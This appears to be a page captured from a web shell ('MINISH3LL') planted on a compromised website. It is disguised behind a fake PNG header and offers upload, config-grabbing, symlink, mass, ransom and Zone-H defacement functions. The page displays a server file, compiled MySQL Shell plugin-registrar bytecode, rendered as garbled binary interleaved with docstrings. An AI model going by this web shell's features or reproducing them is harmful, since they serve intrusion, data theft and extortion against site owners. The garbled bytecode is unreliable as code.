\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 mahali.shop
KUJUNTI.ID MINISH3LL
Path : /lib/mysqlsh/python-packages/mysqlsh/plugin_manager/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //lib/mysqlsh/python-packages/mysqlsh/plugin_manager/__pycache__/registrar.cpython-38.pyc


U

�C�ex�@s`dZddlZddlZddlmZmZgZdd�Zddd�ZGdd	�d	�Z	dd
d�Z
ddd�ZdS)z6Plugin Manager used for simplified plugin registration�N)�wraps�partialcCst�|�dS�N)�_registration_callbacks�append)�callback�r�D/usr/lib/mysqlsh/python-packages/mysqlsh/plugin_manager/registrar.py�add_registration_callback#sr
c
Csddl}|jjj}tdd�|��d�d�d�d�D��}d}|dk	rhtd	d�|�d�D��}||k}d}|dk	r�td
d�|�d�D��}||k}d}	|r�|s�|dk	r�|dk	r�d|�d
|�d�}	n*|dk	r�d|�d�}	n|dk	r�d|�d�}	t|	�dk�rt|	��dS)zE
    Validates the plugin Shell version requirements for plugin.
    rNcSsg|]}t|��qSr��int��.0�vrrr	�
<listcomp>.sz*validate_shell_version.<locals>.<listcomp>��-�.TcSsg|]}t|��qSrrr
rrr	r3scSsg|]}t|��qSrrr
rrr	r8s�z,This plugin requires Shell between versions z and z,This plugin requires at least Shell version z7This plugin does not work on Shell versions newer than )�mysqlsh�globals�shell�version�tuple�split�len�	Exception)
�min�maxrZraw_versionZ
shell_versionZmin_version_okZmin_versionZmax_version_okZmax_version�errorrrr	�validate_shell_version's*
*r c@s�eZdZdZedd��ZGdd�d�ZGdd�d�ZGdd	�d	�ZGd
d�d�Z	dd
�Z
dd�Zddd�Zdd�Z
ddd�Zdd�ZdS)�PluginRegistraraHelper class to register a shell plugin.

    It should be used by calling: register_object which requires:
    - The object path as it should be seen in the shell.
    - The python function that will be added as members of the object.
    - The documentation for the object (brief and details).

    Examples for object name:
    - 'cloud': Would register the 'cloud' as a shell global object.
    - 'cloud.os': Would register the 'os' object as a child of the 'cloud'
    global object.

    The name can have any number of parents in the chain, the conditions is
    that such parent should be already registered.

    For this reason, the caller may have to do something like:

    register_object('myGlobal', [], {'brief':'...', 'details':[]})
    register_object('myGlobal.myChild', [], {'brief':'...', 'details':[]})

    Before calling:
    register_object('myGlobal.myChild.myGrandChild',
    [function1, function2], {'brief':'...', 'details':[]})

    Any object that is already defined will NOT be re-defined.
    cCs8|dkrdS|dkrdS|dkr$dS|dkr0dS|Sd	S)
zZHelper function to translate the sphinx types into the types required by
        the shell�str�stringrZinteger�dict�
dictionary�listZarrayNr)�typerrr	�sphinx_2shell_typebsz"PluginRegistrar.sphinx_2shell_typec@seZdZdZdd�ZdS)zPluginRegistrar.ItemDocz> Simple container for brief and details of the different itemscCsd|_d|_dS�Nr��brief�details��selfrrr	�__init__tsz PluginRegistrar.ItemDoc.__init__N)�__name__�
__module__�__qualname__�__doc__r/rrrr	�ItemDocqsr4c@s eZdZdZdd�Zdd�ZdS)zPluginRegistrar.OptionDataa�Holds the documentation for a specific option.

        This object is completely created from parsed docs for an option.

        TODO: Does not support 'details' for option as sphinx doesn't seem to
        have a way to specify that, so the details MUST be placed at the
        function details section (which is OK considering that's what the
        shell will do when rendering the help data)
        cCs�t��|_|d|_|�d�|_|d|j_g|_|�dd�|_d|krT|d|j_	d|kr||dD]}|j�
t�|��qdd|_dS)N�namer'r+�requiredFr,�options)
r!r4�docsr5�getr'r+r7r6r,r�
OptionData�default)r.Z
option_def�optionrrr	r/�s

z#PluginRegistrar.OptionData.__init__cCs�|j|jjd�}|jr&t�|j�|d<|jjdk	r>|jj|d<|jrLd|d<|jdk	r`|j|d<d|�	�kr�|ddkr�g}|j
D]}|�|���q�||d	<|S)
�<Translates the parameter definition to shell required format�r5r+r'Nr,Tr6r;r%r7)
r5r8r+r'r!r(r,r6r;�keysr7r�format_info�r.�infor7�orrr	r@�s"�


z&PluginRegistrar.OptionData.format_infoN)r0r1r2r3r/r@rrrr	r:xs
r:c@s(eZdZdZdd�Zdd�Zdd�ZdS)	zPluginRegistrar.ParameterDataa�Holds the documentation for a specific argument.

        This object is created part from document parsing and part from
        inspection of the function definition.

        The function definition provides parameter name, whether it is
        optional or not and the default value.

        The documentation provides type, brief and options (when applicable)

        TODO: Does not support 'details' for option as sphinx doesn't seem to
        have a way to specify that, so the details MUST be placed at the
        function details section (which is OK considering that's what the
        shell will do when rendering the help data)
        cCs ||_t��|_d|_g|_dSr))�
definitionr!r4r8r'r7)r.Z	parameterrrr	r/�s
z&PluginRegistrar.ParameterData.__init__cCs�d|kr|d|_|d|j_z|d|j_Wntk
rBYnXz(|d}|D]}|j�t�|��qRWntk
r�YnXdS)z4Fills parameter details that come from documentationr'r+r,r7N)	r'r8r+r,�KeyErrorr7rr!r:)r.rBr7r<rrr	�set_info�s
z&PluginRegistrar.ParameterData.set_infocCs�|jj|jjd�}|jr(t�|j�|d<|jjdk	r@|jj|d<|jjt	j
jkrd|jj|d<d|d<d|��kr�|ddkr�t
|j�r�g}|jD]}|�|���q�||d	<|jjt	j
jkr�d|d<|S)
r=r>r'Nr,r;Fr6r%r7)rDr5r8r+r'r!r(r,r;�inspectZ	Parameter�emptyr?rr7rr@ZkindZVAR_KEYWORDrArrr	r@�s$�"
z)PluginRegistrar.ParameterData.format_infoN)r0r1r2r3r/rFr@rrrr	�
ParameterData�srIc@sbeZdZdZddd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dS)zPluginRegistrar.FunctionDataa#Holds the documentation for the function.

        This object is created part from document parsing and part from
        inspection of the function definition.

        The function definition provides parameter information.

        The documentation provides  brief and details.
        NTFc
Cs�d}|dk	r|�d�}|d}||_||_|dkr8|jn||_t��|_||_||_	||_
t�|�}dd�|j
��D�|_
t�|�}	|	r�|�|	�dS)Nr���cSsg|]}t�|��qSr)r!rI)r�prrr	rs�z9PluginRegistrar.FunctionData.__init__.<locals>.<listcomp>)r�function�fully_qualified_namer0r5r!r4r8r�cli�webrG�	signature�
parameters�valuesZgetdoc�_parse_docs)
r.rLrMrrNrOr5�	name_pathrPr8rrr	r/s$


�
z%PluginRegistrar.FunctionData.__init__cCsV|jj|jjd�}t|j�rBg}|jD]}|�|���q&||d<|jrR|j|d<|S)r=r*rQrN)r8r+r,rrQrr@rN)r.rBZparams�paramrrr	r@ s


z(PluginRegistrar.FunctionData.format_infocCsFz|j|WStk
r@g|j|<|j�|�|j|YSXdS)z3Ensures the indicated section exists and returns itN)�
_doc_sectionsrE�_doc_section_listr�r.r5rrr	�_get_doc_section0s
z-PluginRegistrar.FunctionData._get_doc_sectioncCs`d|_dd�|�d�D�|_i|_g|_d}|�|�}d}|jD]|}|�d�r^|}|�|�}q@|�d�s�t|�dks�|ddks�|�d�r�|�	|�q@|d	}d
�
|�}|�|�}|�	|�q@|j��D]j\}}|}|r�t|d�dkr�|�d�q�|�rt|d�dk�r|�d�q�t|�dkr�t
d|����q�|��|��}|�rT|�|�|��d
S)a�Main parser function.

            Retrieves the documentation and splits it in sections, then
            process the different sections such as: brief, parameters and
            details.

            There are different sections that are considered on the parsing:
            - 'Args:': Contains the parameter definitions.
            - 'Keyword Args:': Contains parameter definitions for keyword
               arguments.
            - 'Allowed options for <dictionary>:': Contains option definitions
               for a dictionary parameter or option.

            These options will be consumed during the parsing process.
            rcSsg|]}|�qSrr)r�linerrr	rJsz<PluginRegistrar.FunctionData._parse_docs.<locals>.<listcomp>�
�global�:� �* rzglobal{}rJz)Invalid format: section without content: N)Z
_doc_indexrZ
_doc_linesrVrWrY�endswith�
startswithrr�format�items�popr�_parse_function_brief�_parse_args�_set_parameter_docs�_parse_details)r.Z	docstring�section_name�sectionZglobal_countrZr5�arg_docsrrr	rS9s<


,


z(PluginRegistrar.FunctionData._parse_docscCs�g}|jd}|D]}t|�r*|�|�qq0qt|�}|rJd�|�|j_|t|jd�kr|t|jd|�dkr||d}qJ|jd|d�|jd<dS)zpConstructs the function brief from the beginning of the docs and until
            the first blank line is foundr\r^rrN)rVrr�joinr8r+)r.Zbrief_lines�linesrZ�countrrr	rews
��
z2PluginRegistrar.FunctionData._parse_function_briefcCsl|j�dd�}g}t|j�r.|dkr.td��n:|dkrJt|j�rJtd��n|rht|�rh|�|�|��qN|S)z�Parses the function arguments.

            This function will ensure:
            - All the parameters are documented
            - No nonexisting parameters are documented
            zArgs:NzMissing arguments documentationz!Unexpected argument documentation)rVrdrrQrr�_parse_parameter_doc)r.Zargs_sectionrkrrr	rf�s

z(PluginRegistrar.FunctionData._parse_argscCsdS)z�Some day it will parse the return section
            TODO: The shell extension objects do not do any handling of the
            return value so it's documentation is embedded into the function
            details (in an ugly way).
            Nrr-rrr	�_parse_return_value�sz0PluginRegistrar.FunctionData._parse_return_valuecCs�g}g}|jD]�}|j�|d�}|r|�d�s@|�d|d�t|�d}|D]r}|��}t|�dkr�|�d�|��|��qP|�d�r�|t|�d	kr�|||<|�|�	dd
��qP|�|�qPt|�r|�d�|��|��q|r�||j
_dS)aZ Creates the details section of the function.
            When this function is called, the remaining sections will be glued
            together to create the function details.

            This means, it is possible to define totally unrelated sections of
            documentation and they will also be included on the shell docs.
            Nr\z<b>z</b>rrr^r_�z@li )rWrVrdrarr�striprl�clear�replacer8r,)r.r,Z	paragraphrirjZ
section_indexrZZ
stripped_linerrr	rh�s.




z+PluginRegistrar.FunctionData._parse_detailscCs�|D]J}d}|jD]}|d|jjkr|}q|dkrDtd�|���q|�|�qg}|jD]"}t|jj�dkrZ|�	|jj�qZt|�r�td�d�
|����dS)zaFills all the parameter definitions with the information coming
            from document parsingNr5z/Parameter does not exist but is documented: {}.rz6Missing documentation for the following parameters: {}z, )rQrDr5rrbrFrr8r+rrl)r.r8�docZtarget_paramrUZmissingrKrrr	rg�s,
��
��z0PluginRegistrar.FunctionData._set_parameter_docsc
Cs�i}|�d�}|��}g}t�d|�}|�rnd}|�d�|d<|�d�r`d|d<|j�d	d�}np|�d
�r�|�d
��d�}t�|d�|d<t	|�dkr�|ddkr�d
|d<|ddkr�|j�d�
|d�d�}|r�g|d<t	|�r�|d�|�|��q�|�|�d��|�
|�}	t	|��r^t	|d�|	k�r^|d|	ddk�r^|�|�d�����qd�|�|d<ntd�
|���|S)z�Parses the first parameter/option definition coming on the
            section.

            Once it is parsed it will be removed from the section, next call
            will process the next definition.
            rzE^(\*\*)?([a-z|A-Z|_][a-z|A-Z|0-9|_]*)(\s(\(([a-z|,|\s]+)\)))?:\s(.*)$Nrqr5rr%r'z
Keyword Args:��,r6TzAllowed options for {}:r7�r^r+z#Invalid parameter documentation: {})rdrr�re�match�grouprVrr!r(rrbrro�findrlr)
r.rjrBZ
param_lineZ	param_docr+rzZoptions_sectionZ
param_optionsZ
ident_sizerrr	ro�sd	
�
�
���
����z1PluginRegistrar.FunctionData._parse_parameter_doc)NTFF)r0r1r2r3r/r@rYrSrerfrprhrgrorrrr	�FunctionData�s�
 	>,r}cCsdSrrr-rrr	r/8szPluginRegistrar.__init__cCsd�dd�t�d|�D��S)N�_cSsg|]}|r|���qSr)�lower)r�xrrr	r<sz4PluginRegistrar._get_python_name.<locals>.<listcomp>z([A-Z][a-z0-9_]*))rlryrrXrrr	�_get_python_name;sz PluginRegistrar._get_python_nameNc
Cs�zP|�||�}|dkr&td|�d���|dk	rN|D]}t�|�r2|�||�q2Wn:tk
r�}ztd|�dt|�����W5d}~XYnXdS)NzPlugin object z was not found.zCould not register object '�
'.
ERROR: )�get_plugin_object�
ValueErrorrGZ
isfunction�register_functionrr")r.r5r8Zmembers�
plugin_objZmember�errr	�register_object>s
�zPluginRegistrar.register_objectc

Csbddl}|jj}|�d�}�zd}t|�dkr�|d}|j}|dd�D]H}	|	}
||jkrd|�|	�}
|
t|�kr|t||
�}qHtd|
�d|����qH|�|�}t||d�}|s�|dkr�t	d|����|�
�}|�||||�n@zt|j|d�}Wn,tk
�r|�
�}|�
|||�YnX|WStk
�r\}ztd	|�d
t|�����W5d}~XYnXdS)aGet the leaf object in the object hierarchy defined in name.

        If the leaf object does not exist, it will be created with the provided
        documentation.

        If any object in the middle of the chain does not exist, an error will
        be raised.
        rNrrrJzObject z not found in hierarchy: z$No docs specified for plugin object zCould not get plugin object 'r�)rrrrrr��dir�getattrrr�Zcreate_extension_object�add_extension_object_memberrEZregister_globalr")
r.r5r8r�	shell_objZ	hierarchyr��plugin_name�parentZh_nameZpy_nameZpy_plugin_namer�rrr	r�MsR	


�
���z!PluginRegistrar.get_plugin_objectTFcCs�ddl}|jj}|r |s td��tj|||||d�}	z0|rP|�||	j||	���t	D]}
|
|	�qTWnFtk
r�}z(td|	j�d|	���dt
|�����W5d}~XYnXdS)z?Registers a new member into the provided shell extension objectrNz4The CLI can only be enabled on registered functions.)rrMrNrOzCould not add function 'z' using z	.
ERROR: )rrrrr!r}r�r5r@rr")r.r�rLrMrrNrOrr�rDrr�rrr	r��s6����z!PluginRegistrar.register_functioncCsdSrr)r.�propertyrrr	�register_property�sz!PluginRegistrar.register_property)N)NTFF)r0r1r2r3�staticmethodr(r4r:rIr}r/r�r�r�r�r�rrrr	r!Fs&
7FE
A�
(r!c
s��dkrtt|||d�Sz\t||�t��|dkr8�jn|d�j}��|t��������fdd�����Wn:tk
r�}zt	d�
�jt|����W5d}~XYnXt���fdd��}|SdS)	agDecorator to register a class as a Shell extension object

    This decorator can be used to register a class structure as a Shell
    extension object. After registering the class it self it will also scan for
    inner classes and register them as nested extension objects.

    Args:
        cls (class): The class structure to register

    Returns:

    N)�shell_version_min�shell_version_maxr�rcsHdd�|j��D�}|D]$}��|jt�|�����|�q|�dS)z�Register all inner classes as nested extension objects

                Args:
                    cls (class): The class containing the subclasses to register
                cSsg|]}t�|�r|�qSr)rGZisclass)r�inner_classrrr	r�s
�z:plugin.<locals>.register_inner_classes.<locals>.<listcomp>N)�__dict__rRr�r2r!r}r@)�clsZ
inner_classesr�)�plugin_manager�register_inner_classesrr	r��s��
z&plugin.<locals>.register_inner_classesz2Could not register plugin object '{0}'.
ERROR: {1}cs�||�}|Srr��args�kwargs�result)r�rr	�wrapper�s
zplugin.<locals>.wrapper)
r�pluginr r!r0r�r}r@r�printrbr"r)r�r�r�r�Zobject_qualified_namer�r�r)r�r�r�r	r��s.

���r�TFcs�����fdd�}|S)a�Decorator factory to register Shell plugins functions

    Args:
        fully_qualified_name (str): The fully qualified name of the function,
            e.g. cloud.create.mysqlDbSystem
        plugin_docs (dict): The documentation structure of the plugin. This
            is only required for the first function that will be registered
        cli (bool): Defines whether the function should be available in the CLI

    Returns:
        The decorator function

    cs�zPt�}��d�}d�|dd��}|d}|�|��}|j|�����d�WnBtk
r�}z$td|�d|�dt|�����W5d}~XYnXt���fdd	��}|S)
NrrrJ)rMrrNrOzCould not register function 'z' as a member of the z plugin object.
ERROR: cs�||�}|Srrr��rLrr	r�1s
z3plugin_function.<locals>.decorator.<locals>.wrapper)	r!rrlr�r�rr�r"r)rLr�rTr�Z
function_namer�r�r��rNrM�plugin_docsrrOr�r	�	decorators2
��
�z"plugin_function.<locals>.decoratorr)rMr�rrNrOr�rr�r	�plugin_functions(r�)NN)NNNN)NTFF)r3rGry�	functoolsrrrr
r r!r�r�rrrr	�<module>s"
u
K�

© KUJUNTI.ID